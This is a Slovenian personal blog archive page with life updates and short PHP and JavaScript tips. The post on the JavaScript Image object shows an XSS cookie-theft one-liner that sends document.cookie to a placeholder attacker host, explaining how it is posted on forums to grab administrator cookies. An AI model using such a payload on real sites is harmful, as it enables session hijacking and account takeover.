I’m back

Objavljeno v Osebno

Ja vem, na blog nisem pisal že nekaj časa, ampak iz opravičljivega razloga, namreč letos imam maturo in zato se je bilo treba malce bolj posvetiti šoli, čeprav bi seveda raje počel kaj drugega. Trenutno me čaka še 1 teden pouka potem pa “počitnice”. No ja, ne v pravem pomenu besede, saj imam maturo. Tako bom od sedaj naprej verjetno lažje našel čas, da napišem kaj zanimivega tukaj na blog :) .

Pa še kratek povzetek dogajanja od zadnjega posta:

  • nabavil sem nov ekran Samsung SyncMaster 225BW, ki sedaj dela družbo staremu 15″ LCD-ju (dualscreen)
  • naredil sem izpit za avto
  • kupil sem si avto (rabljen seveda), ugotovitev po skoraj dveh mescih vožnje - bencin je (pre)drag :mrgreen:
  • zaenkrat sem končal z razvojem anketSystema oz. Anketarja, ki sem ga razvijal za raziskovalno nalogo (s katero sem se uvrstil v 1. skupino)
  • v zadnjih 14 dni sem pogledal že skoraj vse epizode South Park-a (hvala MAteju za link)
  • z malce zamude sem upgrejdu wordpress na v2.5
0%
0%

Blogam že 2 leti

Objavljeno v Krneki, Osebno, Spletno programiranje

Da, res je, če verjamete ali ne moj prvi blogerski post sem napisal 28. Decembra 2005 ob 13:11 :) . Od tistega časa se je spremenilo že veliko stvari, zato bom na kratko povzel tiste mejnike, ki so zaznamovali tale blog.

pred 28. decembrom 2005:
Nekje med novoletnimi počitnicami leta 2005 se mi je porodila ideja, da bi tudi jaz lahko imel svoj blog in tako sem začel s pripravami. Tisti čas se je ravno odvijal projekt SloNiX (LFS[1] distribucija, pri kateri nas je sodelovalo nekaj članov iz foruma Računalniških Novic) in za potrebe projekta smo postavili Simple PHP Blog, in ker kakšnega drugega blog engine-a nisem poznal sem uporabil tega.
Preberi cel vnos »

Linknotes:
  1. LFS Linux From Scratch
100%
0%

Firebug v Internet Explorer-ju

Objavljeno v Software, Spletno programiranje

Firebug je extension za Firefox, ki razvijalcem olajša veliko stvari in prihrani precej populjenih lasov :mrgreen: . Ampak večina ljudi pa ne ve, da obstaja tudi Lite različica Firebuga, ki deluje tudi v Internet Explorer-ju, Operi, Safariju,… resda je ta Lite različica precej okrnjena proti polni različici, ampak še vedno je bolje kot nič :) .

Instalacija je precej preprosta in je opisana tule, ampak če delamo na večih spletnih straneh pisanje tiste vrstice, ki vključi firebug.js v našo spletno stran, precej hitro postane nadležno, zato si lahko naredimo tudi bookmarklet, ki ga shranimo v priljubljene in tako vključimo Firebug Lite na stran z enim pritiskom na povezavo v priljubljenih.

0%
0%

Ekstremne božične lučke

Objavljeno v Krneki, Smeh

Nek američan je imel preveč časa (in verjetno tudi denarja), zato se je odločil “malce” preveč okrasiti svojo hišo. Porabil je 25000 lučk, ki so sinhronizirane z FM oddajnikom, tako da lahko glasbo slišijo tisti, ki se peljejo mimo njegove hiše… za vse skupaj je porabil $10000 :)

Ga lahko kdo najde na tejle sliki :twisted:
Earth at night

Aja, skoraj bi pozabil, vesel božič ;-)

0%
0%

Online stripi

Objavljeno v Krneki, Smeh

Po malce daljšem premoru (zaradi šolskih obveznosti in mogoče tudi zaradi moje lenobe) spet en post :) . V temle postu (ki se mi mimogrede valja v osnutkih že kak mesec) vam bom predstavil par online stripov [online comic], ki so včasih prav dobrodošli za preganjanje dolgčasa.

Če kdo pozna še kakšen dober online strip ga naj deli v komentarjih ;-)

0%
0%

[PHP] Trik tedna #17 - get_meta_tags

Objavljeno v Programiranje, Spletno programiranje, Trik tedna

Ko parsamo kakšno stran so nam lahko zanimivi tudi meta tagi. PHP ima v ta namen posebno funkcijo get_meta_tags(), ki nam avtomatsko sparsa meta tage na strani (če jih le-ta ima) in jih vrne v array-u.

Uporaba je preprosta:

<?php
// URL strani, ki jo želimo sparsati
$url 'http://example.tld/file.php';

// sparsamo tage
$tags get_meta_tags($url);

print_r($tags);

Za moj blog (http://blog.sverde1.com/) vrne funkcija sledeč rezultat:

Array
(
    [generator] => WordPress 2.3.1
    [keywords] => PHP,fopen,file_get_contents,...
    [now-reading-version] => 4.3.6
)

Glede na to da je v PHP-ju vgrajena funkcija get_meta_tags, pa bi človek pričakoval da je vgrajena tudi funkcija, ki sparsa link tage get_link_tags() ampak le te na žalost ni, čeprav bi v primeru, da želimo izvedeti URL RSS feeda neke strani prišla še kako prav.

Zahteve:

  • PHP4 ali novejši
100%
0%

[PHP] Trik tedna #16 - stream_context_create

Objavljeno v Programiranje, Spletno programiranje, Trik tedna

Pred kratkim sem delal na crawlerju (za en projekt, ki naj zaenkrat še ostane skrivnost), ki se sprehaja po RSS-jih blogov. Hotel sem uporabiti navadno branje datotek z funkcijo file_get_contents(), ampak sem se spomnil, da bi bilo koristno (in se je že izkazalo za koristno ;-) ) lastniku bloga pustiti sled, da bo vedel, kdo ga je poskeniral. Zato sem prišel na idejo, da bi uporabil CURL extension, ampak ta ideja se je izkazala za slabo, takoj ko sem naložil testno aplikacijo na moj hosting. Zakaj? Ker sem moral, zato da je crawler deloval pravilno, uporabiti tole vrstico, ki pove CURL-ju, da naj sledi preusmeritvam (kar je pomembno predvsem pri blogih, ki imajo preusmeritev na feedburner):

<?php
// ...
curl_setopt($chCURLOPT_FOLLOWLOCATIONtrue);
?>

Ampak ta vrstica vrže ven error, če je na hostu vklopljen safe mode (ker naj bi bila nevarna). Torej imel sem na izbiro 2 možnosti: zadevo urediti z socketi in se zajebavati z rekurzijo pri redirectih itd. ali pa uporabit začetno idejo z funkcijo file_get_contents(), ki mimogrede tudi samodejno sledi preusmeritvam. Ker sem malce len sem opcijo z socketi hitro dal v predal, kjer piše “uporabi v sili” :) .

Torej da preidem k bistvu… ker sem se odločil za uporabo funkcije file_get_contents() sem iskal način kako z uporabo te funkcije poslati header lastniku bloga in odgovor sem našel v tretjem parametru te funkcije, ki se imenuje context:

<?php
$feed_url 
'http://blog.sverde1.com/feed/';
$opts = array(
    
'http' => array(
        
'header' => "User-Agent: ExampleCrawler.tld 1.0-beta\r\n"
    
)
);

$context stream_context_create($opts);

echo 
file_get_contents($feed_urlfalse$context);
?>

Funkcija stream_context_create() nam torej ustvari resource z našim context-om, kjer je zapisan dodaten header, ki ga pošlje funkcija zraven requesta za datoteko $feed_url.

Sedaj lahko skorajda pozabimo na sockete in CURL, saj nam ta funkcija omogoča tudi da v kombinaciji z file_get_contents, fopen,… pošiljamo POST zahtevke:

<?php
$data 
'user=sverde1&pass=neki&login=Login';
$opts = array (
    
'http' => array (
        
'method' => 'POST',
        
'header'=> "Content-type: application/x-www-form-urlencoded\r\n"
                 
"Content-Length: " strlen($data) . "\r\n",
        
'content' => $data
    
)
);

// ...
?>

Zahteve:

  • PHP4 >= 4.3.0
0%
0%

[PHP] Trik tedna #15 - SQLite

Objavljeno v Programiranje, Spletno programiranje, Trik tedna

PHP5 ima po privzeto vgrajen engine za SQLite, ki nam omogoča shranjevanje podatkov v datoteke z SQL queryji brez dodatnega database serverja. Prednosti je kar nekaj:

  • hitrost
  • enostavno prestavljanje/backupanje podatkov
  • ni potrebe po dodatnem DB serverju

Uporaba je podobna kot pri MySQL:

<?php
$datoteka 
'baza.sqlite';
$chmod_datoteke 0666;

if(!
$db sqlite_open($datoteka$chmod_datoteke$sqliteerror))
{
    die(
$sqliteerror);
}

$result sqlite_query($db"SELECT * FROM tabela");

while(
$row sqlite_fetch_array($result))
{
    echo 
$row[0] . PHP_EOL;
}
?>

Torej vse skupaj zelo podobno uporabi MySQLa, saj je samo začetek funkcij drugačen (sqlite_*), razlika je pa v tem, da nam ni treba izbirati baze (mysql_select_db()).

Zahteve:

  • PHP5 ali novejši
0%
0%

[JavaScript] Trik tedna #14 - prototype

Objavljeno v Programiranje, Spletno programiranje, Trik tedna

Vsi ki ste malce že malce več delali z JavaScript-om ste že nedvomno napisali kaj takšnega:

var bar = "neko besedilo";
var foo = bar.toUpperCase();

Kar bi vam moralo pasti v oči je metoda toUpperCase(), ki je ne uporabimo na klasičen način takole:

var foo = toUpperCase(bar);

No glede na to, da lahko do vgrajenih metod dostopamo na takšen način (gl. 1. primer) bi moral obstajati način da dodamo svoje metode. In res obstaja. Torej če želimo dodati objektu String našo prototype metodo moramo napisati nekaj takšnega:

String.prototype.imeMetode = function() {
    return this.substring(1, this.length - 1);
}
 
var bar = "(neko besedilo)";
var foo = bar.imeMetode();
// foo = "neko besedilo"

Tako smo class-u String dodali našo metodo, ki vrne podano besedilo brez prvega in zadnjega znaka.

In sedaj še obrazložitev zakaj hudiča bi bilo tole uporabno. Na kratko, ker se hitreje napiše in ker je razmišljanje bolj logično. Programerji pišemo metode večinoma tako, da najprej napišemo ime metode, nato oba oklepaja in nato se he potrebno vrniti nazaj, da vpišemo argument, še večja težava je, če moramo gnezditi metode, saj jih moramo pisati v obratnem vrstnem redu:

var rezultat = str.metoda1().metoda2().metoda3();
var rezultat = metoda3(metoda2(metoda1(str)));

Kater primer mislite da je bilo lažje napisati prvi ali drugi? Mislim da je odgovor jasen in uporabnost dokazana :P

Zahteve:

  • Brskalnik, ki podpira JavaScript
50%
50%

[JavaScript] Trik tedna #13 - Image()

Objavljeno v Programiranje, Spletno programiranje, Trik tedna

Ker sem v rubriki Trik tedna JavaScript precej zanemarjal, bom danes pokazal še en JavaScript trik.

V JavaScript vgrajen objekt Image lahko uporabimo za več stvari:

  • za preloading slik
  • za pošiljanje podatkov brez AJAX-a

Pa si najprej poglejmo kako se s tem objektom pošiljajo podatki.

function poslji(data) {
    var img = new Image();
    img.src = 'http://example.tld/?d=' + data;
}

Precej preprosto. Seveda pa je priporočljivo podatke zakodirati z urlencode algoritmom. Ta objekt velikokrat zlorabljajo tudi nepridipravi za XSS[1] napade, zato naj pokažem še kako se zadeva napiše malce bolj h4×0r friendly:

new/**/Image().src='http://evilhost.tld/?c='+document.cookie;

Zgornjo kodo bo potem nepridiprav v kodirani obliki npr. objavil na kakšnem forumu in nato beležil piškotke uporabnikov, ki bodo obiskali povezavo. Če bo imel srečo, bo ukradel tudi piškotek kakšnega administratorja in tako dobil dostop do celotne strani.

No pa preidimo k malce bolj legalnim zadevam. Objekt Image lahko uporabimo tudi kot preloader slik za kakšne onmouseover efekte.

function preloader(slika) {
    var img = new Image();
    img.src = slika;
    img.onload = function() {
        // tukaj lahko npr. GIF loaderja zamenjamo
        // z pravkar naloženo sliko
    }
    img.onerror = function() {
        // tukaj lahko npr. nastavimo nadomestno
        // sliko, ki se pojavi ob neuspehu
    }
}
 
window.onload = function() {
    // naštejemo slike, ki jih želimo preloadati
    preloader('slika1.jpg');
}

Zahteve:

  • Brskalnik, ki podpira JavaScript
Linknotes:
  1. Cross Site Scripting
0%
0%